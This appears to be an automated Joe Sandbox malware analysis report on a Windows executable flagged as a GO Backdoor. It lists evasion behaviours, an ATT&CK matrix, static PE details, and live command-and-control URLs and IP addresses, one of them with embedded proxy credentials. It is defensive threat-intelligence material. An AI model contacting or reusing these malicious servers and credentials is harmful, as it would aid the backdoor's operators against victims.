Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe

Code function: 0_2_031501A1 rdtsc

0_2_031501A1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe

API coverage: 6.7 %

Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2576011685.00000000013CC000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe

Code function: 0_2_031501A1 rdtsc

0_2_031501A1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03121227 mov edx, dword ptr fs:[00000030h]	0_2_03121227
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03122A45 mov edx, dword ptr fs:[00000030h]	0_2_03122A45
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_031261D1 mov edx, dword ptr fs:[00000030h]	0_2_031261D1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_031261CB mov edx, dword ptr fs:[00000030h]	0_2_031261CB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_0313088D mov eax, dword ptr fs:[00000030h]	0_2_0313088D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_031308A0 mov eax, dword ptr fs:[00000030h]	0_2_031308A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_0312268B mov ebx, dword ptr fs:[00000030h]	0_2_0312268B

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe

Code function: 0_2_03121F6C cpuid

0_2_03121F6C

Stealing of Sensitive Information

Yara detected GO Backdoor

Source: Yara match	File source: 00000000.00000002.2581726494.000000000C940000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe PID: 7712, type: MEMORYSTR

Remote Access Functionality

Yara detected GO Backdoor

Source: Yara match	File source: 00000000.00000002.2581726494.000000000C940000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe PID: 7712, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Virtualization/Sandbox Evasion	OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Software Packing	NTDS	11 System Information Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	1 Proxy	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	26%	Virustotal		Browse
SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	34%	ReversingLabs

Source	Detection	Scanner	Label
http://147.45.196.157:30001/api/helper-first-register185.121.233.152;14887;hQUatmqOtRaIpGdc:Gtx/0zT/	0%	Avira URL Cloud	safe
http://HTTP/1.1X-Api-KeyGAlbhK5Hhttp/1.1http/1.1HTTP_PROXY	0%	Avira URL Cloud	safe
http://46.8.232.106:30001/api/helper-first-register?buildVersion=0z76.pdO2CqG&md5=2e82e1c508af8197f9a033822e9d742f&proxyPassword=3ijnTpLW&proxyUsername=4dUZxibc&userId=gyQqwSb2enJmg2j1kyuweSXakKqafLse	0%	Avira URL Cloud	safe
http://91.212.166.91:30001/api/helper-first-register	0%	Avira URL Cloud	safe
http://46.8.232.106:30001/api/helper-first-register?	0%	Avira URL Cloud	safe
http://www.picget.net/photoshine-photo-editor/buy.html	0%	Avira URL Cloud	safe
http://46.8.232.106:30001	0%	Avira URL Cloud	safe
http://91.212.166.9:30001/api/helper-first-register	0%	Avira URL Cloud	safe
http://46.8.232.106:30001/api/helper-first-register	0%	Avira URL Cloud	safe
http://www.picget.net	0%	Avira URL Cloud	safe
http://46.8.232.106:30001GAlbhK5HREQUEST_METHODGo-http-client/1.1	0%	Avira URL Cloud	safe
http://46.8.232.106:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUV	0%	Avira URL Cloud	safe
http://147.45.196.157:30001/api/helper-first-register2025/02/11	0%	Avira URL Cloud	safe
http://147.45.196.157:30001/api/helper-first-register	100%	Avira URL Cloud	malware
http://46.8.232.106:30001/api/helper-first-register?buildVersion=0z76.pdO2CqG&md5=2e82e1c508af8197f9	0%	Avira URL Cloud	safe
http://46.8.236.61:30001/api/helper-first-register	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://46.8.232.106:30001/api/helper-first-register?buildVersion=0z76.pdO2CqG&md5=2e82e1c508af8197f9a033822e9d742f&proxyPassword=3ijnTpLW&proxyUsername=4dUZxibc&userId=gyQqwSb2enJmg2j1kyuweSXakKqafLse	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://147.45.196.157:30001/api/helper-first-register185.121.233.152;14887;hQUatmqOtRaIpGdc:Gtx/0zT/	SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2580290752.000000000C864000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.picget.net/photoshine-photo-editor/buy.html	SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	false	Avira URL Cloud: safe	unknown
http://91.212.166.91:30001/api/helper-first-register	SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2581726494.000000000C92A000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.232.106:30001/api/helper-first-register?	SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2580290752.000000000C80E000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.212.166.9:30001/api/helper-first-register	SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2581726494.000000000C92A000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.232.106:30001/api/helper-first-register	SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2581726494.000000000C92A000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://HTTP/1.1X-Api-KeyGAlbhK5Hhttp/1.1http/1.1HTTP_PROXY	SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2580290752.000000000C854000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.232.106:30001	SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2580290752.000000000C85C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.picget.net	SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	false	Avira URL Cloud: safe	unknown
http://46.8.232.106:30001GAlbhK5HREQUEST_METHODGo-http-client/1.1	SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2580290752.000000000C85C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.196.157:30001/api/helper-first-register	SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2581726494.000000000C92A000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://147.45.196.157:30001/api/helper-first-register2025/02/11	SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2581726494.000000000C92A000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.232.106:30001/api/helper-first-register?buildVersion=0z76.pdO2CqG&md5=2e82e1c508af8197f9	SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2580290752.000000000C84E000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.232.106:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUV	SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2580290752.000000000C80E000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.236.61:30001/api/helper-first-register	SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2581726494.000000000C92A000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
46.8.232.106	unknown	Russian Federation		28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	true
185.121.233.152	unknown	Spain		198432	IPCORE-ASES	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1611944
Start date and time:	2025-02-11 10:54:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe
Detection:	MAL
Classification:	mal92.troj.evad.winEXE@5/1@0/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 64% Number of executed functions: 1 Number of non-executed functions: 18
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 172.202.163.200
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
46.8.232.106	https://nopaste.net/gFFvm8SLzB	Get hash	malicious	GO Backdoor, LummaC Stealer	Browse	46.8.232.106/
	TEG0KQGWMBA1JEEN9AI3O7.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	TEG0KQGWMBA1JEEN9AI3O7.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	gFFvm8SLzB.ps1	Get hash	malicious	LummaC Stealer	Browse	46.8.232.106/
	31gmoyUfdI.ps1	Get hash	malicious	LummaC Stealer	Browse	46.8.232.106/
	5N0WWuwk3d.ps1	Get hash	malicious	GO Backdoor, LummaC Stealer	Browse	46.8.232.106/
	europe.exe	Get hash	malicious	LummaC, GO Backdoor, LummaC Stealer	Browse	46.8.232.106/
	nuI7Op1TKn.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	nuI7Op1TKn.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	dYkofBsuAX.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106:30001/api/helper-first-register?buildVersion=0fpl.CnD2c8j&md5=889b99c52a60dd49227c5e485a016679&proxyPassword=2FUHyaZe&proxyUsername=MW4ljsAD&userId=MqUtaT2GmvCEuFsJrzrGaZuY
185.121.233.152	31gmoyUfdI.ps1	Get hash	malicious	LummaC Stealer	Browse
	europe.exe	Get hash	malicious	LummaC, GO Backdoor, LummaC Stealer	Browse
	Adlice Software.exe	Get hash	malicious	GO Backdoor	Browse
	reduce.exe	Get hash	malicious	GO Backdoor	Browse
	m0Yc9KltGw.exe	Get hash	malicious	GO Backdoor	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	https://nopaste.net/gFFvm8SLzB	Get hash	malicious	GO Backdoor, LummaC Stealer	Browse	46.8.232.106
	TEG0KQGWMBA1JEEN9AI3O7.exe	Get hash	malicious	GO Backdoor	Browse	46.8.236.61
	TEG0KQGWMBA1JEEN9AI3O7.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106
	gFFvm8SLzB.ps1	Get hash	malicious	LummaC Stealer	Browse	46.8.236.61
	31gmoyUfdI.ps1	Get hash	malicious	LummaC Stealer	Browse	46.8.232.106
	5N0WWuwk3d.ps1	Get hash	malicious	GO Backdoor, LummaC Stealer	Browse	46.8.232.106
	europe.exe	Get hash	malicious	LummaC, GO Backdoor, LummaC Stealer	Browse	46.8.232.106
	nuI7Op1TKn.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106
	nuI7Op1TKn.exe	Get hash	malicious	GO Backdoor	Browse	46.8.236.61
	dYkofBsuAX.exe	Get hash	malicious	GO Backdoor	Browse	46.8.236.61
IPCORE-ASES	31gmoyUfdI.ps1	Get hash	malicious	LummaC Stealer	Browse	185.121.233.152
	europe.exe	Get hash	malicious	LummaC, GO Backdoor, LummaC Stealer	Browse	185.121.233.152
	Adlice Software.exe	Get hash	malicious	GO Backdoor	Browse	185.121.233.152
	http://www.schoolhouselearningcenter.net/	Get hash	malicious	Unknown	Browse	185.121.235.167
	http://petruccilaw.com/	Get hash	malicious	Unknown	Browse	185.121.235.167
	http://www.lpb.gov.lr	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	185.121.235.167
	over.ps1	Get hash	malicious	Vidar	Browse	185.121.235.167
	https://www.tblgroup.com/tbl2/certificados-digitales/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	185.121.235.167
	reduce.exe	Get hash	malicious	GO Backdoor	Browse	185.121.233.152
	m0Yc9KltGw.exe	Get hash	malicious	GO Backdoor	Browse	185.121.233.152

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe
File Type:	data
Category:	dropped
Size (bytes):	1044
Entropy (8bit):	6.345324725430294
Encrypted:	false
SSDEEP:	24:hpOmfEvZmGVA20Rx4udgRBabTPYjAeuoVs0EvrpCq:7Om5GVA9PwBCO0f4q
MD5:	07DDB733765B7E0F203CFDE51BFA0A18
SHA1:	8D45438B869D4DDA70527AA93E06420432AD3952
SHA-256:	D8898D306A320BD6A3384DF95F76B91E4980B9F7EDCDD949983B67FA6E0DA252
SHA-512:	5012B08F0767AD148A195E8FBE26859A6CADAEB4381E892B3ED279CA025AC86BFED6D5A5566F897E33DE08B105EEAA831F30C05D9DA82205FA2F0C7001E51796
Malicious:	false
Reputation:	low
Preview:	.>;.... .4...(..S ..AV.3L;,"],..XW&?M.9TQ \@##3Q\..Z.."\Q..M..!X/.$^(.1U\.3S#..].(%S?..YQ.[^3. RV!.F!...%?..<".7..A$].......P<.4.V.Z&V.."..RQ.N"...>$Y.7(..V!......-./N$W!.)"......>...T&!./.,..?...19../UO^.....+.#X.."!..PT+T2;.L?.0F.-:Z63.U.%.G7'7V43.M. 4[.7#]VP.U(%.G.$.X?-&R..0SRZ9]$,/S.[0YT.<^...R#!.FP6.......7 .+.+A..V...3. 2..."7...V.65%.2-"N.^..&...)!...(..P96.. $N%.....#......././ Y...1.7...,.=.)Z.O /...............3.T..6L]..F...W,;2R.)>GW..\(!,R.&6[..6@.?.R(W2_2T&X$:1M+..P .._.%.Y.$.Z..>^.:.S7.#Y&.;_(3.L.6..4)...&0..V.FT.;.P0T.5>..QZ\........./.C.....7 .S;&..,_...R.$.VC-Y..Z\......(0..6.../...3...9 .....B=W..W..2... ...#.S)..A..L...P0.._W.WM"(.[(1+_.9WQ$61G..._U!.UV.#_R[.@'..Z...S(..].P S...Y_/,^...R9$.F66..#,..Z(..2;.A,.,..!U.^....(U._$....>.R0.N..+.>...?_..\$..5...U-.N:....Z.P'2.....6..P....8$..9X.T./O86 .....($4.'..... TW_UL...F..._.%0W..Q^+[W@5?.W.=.\...@.\.R.-.P.4$X6:M-".X..*[6=)TX#-S...]<.PSW..Y..V^2P3R5$ F.....%?.[/S../!A.....7..?96.S.Q..40...%.S:4N..<...^..,.../,

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.656380007565565
TrID:	Win32 Executable (generic) a (10002005/4) 99.37% InstallShield setup (43055/19) 0.43% Win32 Executable Delphi generic (14689/80) 0.15% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe
File size:	6'808'576 bytes
MD5:	2e82e1c508af8197f9a033822e9d742f
SHA1:	810bb59a46ef0ab3e164f4d45b2334d0f5af9e04
SHA256:	50a606e258eabb822fe0b64ce17d91fcc17b1f4465aa874c2f3f1ff51fb3a956
SHA512:	b1e33ab51f1fa0dee52799cee36ffe4e910d496e9f627e71e55aa9e06146ea95d1754e3f865972536e11bccb87fc994008e3861ede94e95390e38682ec3ab3fd
SSDEEP:	98304:jGQ5LbtL0Q3ke/Yyiki2ODxc3ZtQNvBosQEdVXZv2bTjqVih/o:jnLbCYkVyjdODGJCbosQEdxe/o
TLSH:	32664AC1AE539A02D796E2F9B1A12B61A1E6DC03D040C45371CEFD4C4BFA39E56B3B46
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	130b030705070b97

Static PE Info

General

Entrypoint:	0x4c5d30
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	DYNAMIC_BASE
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	12162a611fb2169f101a204969fe495d

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 004C5AA8h
call 00007F5D2C62A019h
mov eax, dword ptr [007DA1B8h]
mov eax, dword ptr [eax]
call 00007F5D2C6883DDh
mov ecx, dword ptr [007D9FD4h]
mov eax, dword ptr [007DA1B8h]
mov eax, dword ptr [eax]
mov edx, dword ptr [004BEA80h]
call 00007F5D2C6883DDh
mov ecx, dword ptr [007DA278h]
mov eax, dword ptr [007DA1B8h]
mov eax, dword ptr [eax]
mov edx, dword ptr [004B66F4h]
call 00007F5D2C6883C5h
mov ecx, dword ptr [007DA01Ch]
mov eax, dword ptr [007DA1B8h]
mov eax, dword ptr [eax]
mov edx, dword ptr [004B6498h]
call 00007F5D2C6883ADh
mov eax, dword ptr [007DA1B8h]
mov eax, dword ptr [eax]
call 00007F5D2C688421h
call 00007F5D2C627A80h
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3de000	0x269e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3f0000	0x295e38	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3e3000	0xc0fc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x3e2000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x3d6da8	0x3d6e00	ecced6aea8a733a4a1fcf030a1def2c2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x3d8000	0x237c	0x2400	35f406e3381155c89a5edf6f76370e38	False	0.4391276041666667	data	4.505443714844566	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x3db000	0x2539	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x3de000	0x269e	0x2800	2958723e58b41fd82a37c7d52b2e382e	False	0.35771484375	data	4.964278995708769	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x3e1000	0x10	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x3e2000	0x18	0x200	4b630e3f6f27e175377ada9d376c0405	False	0.05078125	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "~"	0.1991075177871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
